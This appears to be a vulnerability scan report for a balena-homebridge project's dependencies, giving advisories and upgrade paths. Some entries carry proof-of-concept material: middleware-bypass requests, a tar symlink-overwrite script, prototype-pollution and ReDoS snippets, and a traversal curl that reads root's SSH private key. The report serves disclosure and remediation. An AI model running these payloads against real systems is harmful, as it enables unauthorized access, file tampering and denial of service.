Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: systeminformation
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › systeminformation@5.12.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
systeminformation is a simple system and OS information library.
Affected versions of this package are vulnerable to Arbitrary Command Injection via the wifiConnections() and wifiNetworks() functions. An attacker can inject malicious commands by crafting detected SSIDs.
Workaround
This vulnerability can be mitigated by ensuring to check or sanitize parameter strings that are passed to wifiConnections(), wifiNetworks() functions.
Remediation
Upgrade systeminformation to version 5.21.7 or higher.
References
critical severity
- Vulnerable module: systeminformation
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › systeminformation@5.12.1Remediation: Upgrade to homebridge-config-ui-x@5.13.0.
Overview
systeminformation is a simple system and OS information library.
Affected versions of this package are vulnerable to Command Injection via the fsSize function when the drive parameter is concatenated into a PowerShell command without proper sanitization. An attacker can execute arbitrary commands on the underlying Windows system by supplying crafted input to the drive parameter.
##Workaround
This vulnerability could be mitigated by applying util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase.
Remediation
Upgrade systeminformation to version 5.27.14 or higher.
References
critical severity
- Vulnerable module: @nestjs/platform-fastify
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3Remediation: Upgrade to homebridge-config-ui-x@5.14.0.
Overview
@nestjs/platform-fastify is a Nest - modern, fast, powerful node.js web framework (@platform-fastify)
Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the URL encoding middleware, allowing it to be bypassed in certain configurations. An attacker can gain unauthorized access to protected routes or administrative endpoints.
To be vulnerable, an application must be applying security checks via NestMiddleware/MiddlewareConsumer or app.use(), and must apply middleware to specific routes using string paths or controllers. See the vulnerable example below.
// app.module.ts
export class AppModule implements NestModule {
configure(consumer: MiddlewareConsumer) {
consumer
.apply(AuthMiddleware) // security check
.forRoutes('admin'); // string-based rule
}
}
PoC
Target Route: /admin
Middleware Path: admin
Attack Request: GET /%61dmin
Result: Middleware is skipped (no match on %61dmin), but controller for /admin is executed.
Remediation
Upgrade @nestjs/platform-fastify to version 11.1.11 or higher.
References
high severity
- Vulnerable module: @fastify/middie
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › @fastify/middie@8.0.0Remediation: Upgrade to homebridge-config-ui-x@5.14.0.
Overview
@fastify/middie is a Middleware engine for Fastify
Affected versions of this package are vulnerable to Improper Handling of URL Encoding (Hex Encoding) where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). An attacker can gain unauthorized access to protected endpoints by sending such requests.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register middie for Express-style middleware support
await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
Normal Request (Blocked):
curl http://localhost:3008/admin
# Output: Forbidden: Access to /admin is blocked
Bypass Request (Successful):
curl http://localhost:3008/%61dmin
# Output: {"message":"Admin panel"}
Remediation
Upgrade @fastify/middie to version 9.1.0 or higher.
References
high severity
- Vulnerable module: @fastify/multipart
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @fastify/multipart@7.1.0Remediation: Upgrade to homebridge-config-ui-x@4.69.0.
Overview
@fastify/multipart is a Multipart plugin for Fastify
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the saveRequestFiles function. An attacker can cause the server to exhaust disk space by repeatedly uploading files and canceling the requests.
Remediation
Upgrade @fastify/multipart to version 8.3.1, 9.0.3 or higher.
References
high severity
new
- Vulnerable module: @nestjs/core
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/core@9.0.3Remediation: Upgrade to homebridge-config-ui-x@5.20.0.
Overview
@nestjs/core is a Nest - modern, fast, powerful node.js web framework (@core)
Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when handling a @nestjs/platform-fastify HEAD request. An attacker can bypass middleware logic by sending malicious requests, which are redirected to GET handlers by fastify by default.
Remediation
Upgrade @nestjs/core to version 11.1.17 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@5.17.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/axios@0.1.0 › axios@0.27.2
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @oznu/hap-client@1.9.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.56.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().
PoC
import axios from "axios";
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.30.3, 1.13.5 or higher.
References
high severity
- Vulnerable module: fastify
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › fastify@4.2.0Remediation: Upgrade to homebridge-config-ui-x@5.16.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › fastify@4.2.1Remediation: Upgrade to homebridge-config-ui-x@5.15.2.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict via the Content-Type header processing. An attacker can bypass body validation by appending a tab character (\t) and arbitrary content to the Content-Type header, causing the server to treat the body as the intended type without enforcing validation rules.
Note: This vulnerability affects all Fastify users who rely on Content-Type-based body validation schemas to enforce data integrity or security constraints.
Workaround
This vulnerability can be mitigated by implementing a custom onRequest hook to reject requests containing tab characters in the Content-Type header.
Remediation
Upgrade fastify to version 5.7.2 or higher.
References
high severity
- Vulnerable module: socket.io
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-socket.io@9.0.3 › socket.io@4.5.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
socket.io is a node.js realtime framework server.
Affected versions of this package are vulnerable to Uncaught Exception in handling error events. If there is no listener set up for such events, an attacker can send packets containing them to crash the Node process.
Workaround
This vulnerability can be avoided by attaching a listener for error events, such as
io.on("connection", (socket) => {
socket.on("error", () => {
// ...
});
});
Remediation
Upgrade socket.io to version 2.5.1, 4.6.2 or higher.
References
high severity
new
- Vulnerable module: socket.io-parser
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-socket.io@9.0.3 › socket.io@4.5.1 › socket.io-parser@4.0.5Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
socket.io-parser is a socket.io protocol parser
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Decoder class, which accepts an unlimited number of binary attachments. An attacker can exploit this to exhaust server memory.
Remediation
Upgrade socket.io-parser to version 3.3.5, 3.4.4, 4.2.6 or higher.
References
high severity
new
- Vulnerable module: lodash
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/swagger@6.0.4 › lodash@4.17.21
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to the incomplete fix for CVE-2021-23337.
Remediation
Upgrade lodash to version 4.18.1 or higher.
References
high severity
- Vulnerable module: systeminformation
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › systeminformation@5.12.1Remediation: Upgrade to homebridge-config-ui-x@5.18.0.
Overview
systeminformation is a simple system and OS information library.
Affected versions of this package are vulnerable to Command Injection via the versions() function, which executes a locate command to find a PostgreSQL installation on Linux. An attacker who can write files to the target filesystem can execute arbitrary commands with the privileges of the running process by planting a file whose name contains shell metacharacters. The attacker must have sufficient permissions to write files in directories indexed by updatedb.
Remediation
Upgrade systeminformation to version 5.31.0 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › tar@6.1.11Remediation: Upgrade to homebridge-config-ui-x@5.18.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: @fastify/middie
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › @fastify/middie@8.0.0Remediation: Upgrade to homebridge-config-ui-x@5.14.0.
Overview
@fastify/middie is a Middleware engine for Fastify
Affected versions of this package are vulnerable to Interpretation Conflict via the middleware matching engine when router options like ignoreDuplicateSlashes, useSemicolonDelimiter, or other trailing-slash normalization are enabled. An attacker can bypass path-scoped authorization middleware and reach protected handlers by sending crafted normalized variants such as //secret, /secret;foo=bar, or /secret/.
Remediation
Upgrade @fastify/middie to version 9.2.0 or higher.
high severity
new
- Vulnerable module: tar
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › tar@6.1.11Remediation: Upgrade to homebridge-config-ui-x@5.19.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.10 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › tar@6.1.11Remediation: Upgrade to homebridge-config-ui-x@5.20.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.
PoC
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.11 or higher.
References
high severity
- Vulnerable module: @fastify/multipart
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @fastify/multipart@7.1.0Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
@fastify/multipart is a Multipart plugin for Fastify
Affected versions of this package are vulnerable to Denial of Service (DoS) via the fastifyMultipart function, when the multipart body parser accepts an unlimited number of file and field parts or empty parts.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade @fastify/multipart to version 6.0.1, 7.4.1 or higher.
References
high severity
- Vulnerable module: engine.io
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-socket.io@9.0.3 › socket.io@4.5.1 › engine.io@6.2.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server
Affected versions of this package are vulnerable to Uncaught Exception such that a specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
TypeError: Cannot read properties of undefined (reading 'handlesUpgrades')
at Server.onWebSocket (build/server.js:515:67)
Note: This issue impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
Remediation
Upgrade engine.io to version 6.4.2 or higher.
References
high severity
- Vulnerable module: fastify
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › fastify@4.2.0Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › fastify@4.2.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS) in contentTypeParser.js, exploitable by sending an invalid Content-Type header.
Workaround
This vulnerability can be avoided by filtering out potentially malicious content types:
const badNames = Object.getOwnPropertyNames({}.__proto__)
fastify.addHook('onRequest', async (req, reply) => {
for (const badName of badNames) {
if (req.headers['content-type'].indexOf(badName) > -1) {
reply.code(415)
throw new Error('Content type not supported')
}
}
})
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade fastify to version 4.8.1 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › semver@7.3.7Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: socket.io-parser
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-socket.io@9.0.3 › socket.io@4.5.1 › socket.io-parser@4.0.5Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
socket.io-parser is a socket.io protocol parser
Affected versions of this package are vulnerable to Denial of Service (DoS) due to insufficient validation when decoding a packet. An attacker can send an event with a name like '2[{"toString":"foo"}]' to trigger an uncaught exception and a crash, like the below.
TypeError: Cannot convert object to primitive value
at Socket.emit (node:events:507:25)
at .../node_modules/socket.io/lib/socket.js:531:14
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade socket.io-parser to version 3.4.3, 4.2.3 or higher.
References
high severity
- Vulnerable module: systeminformation
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
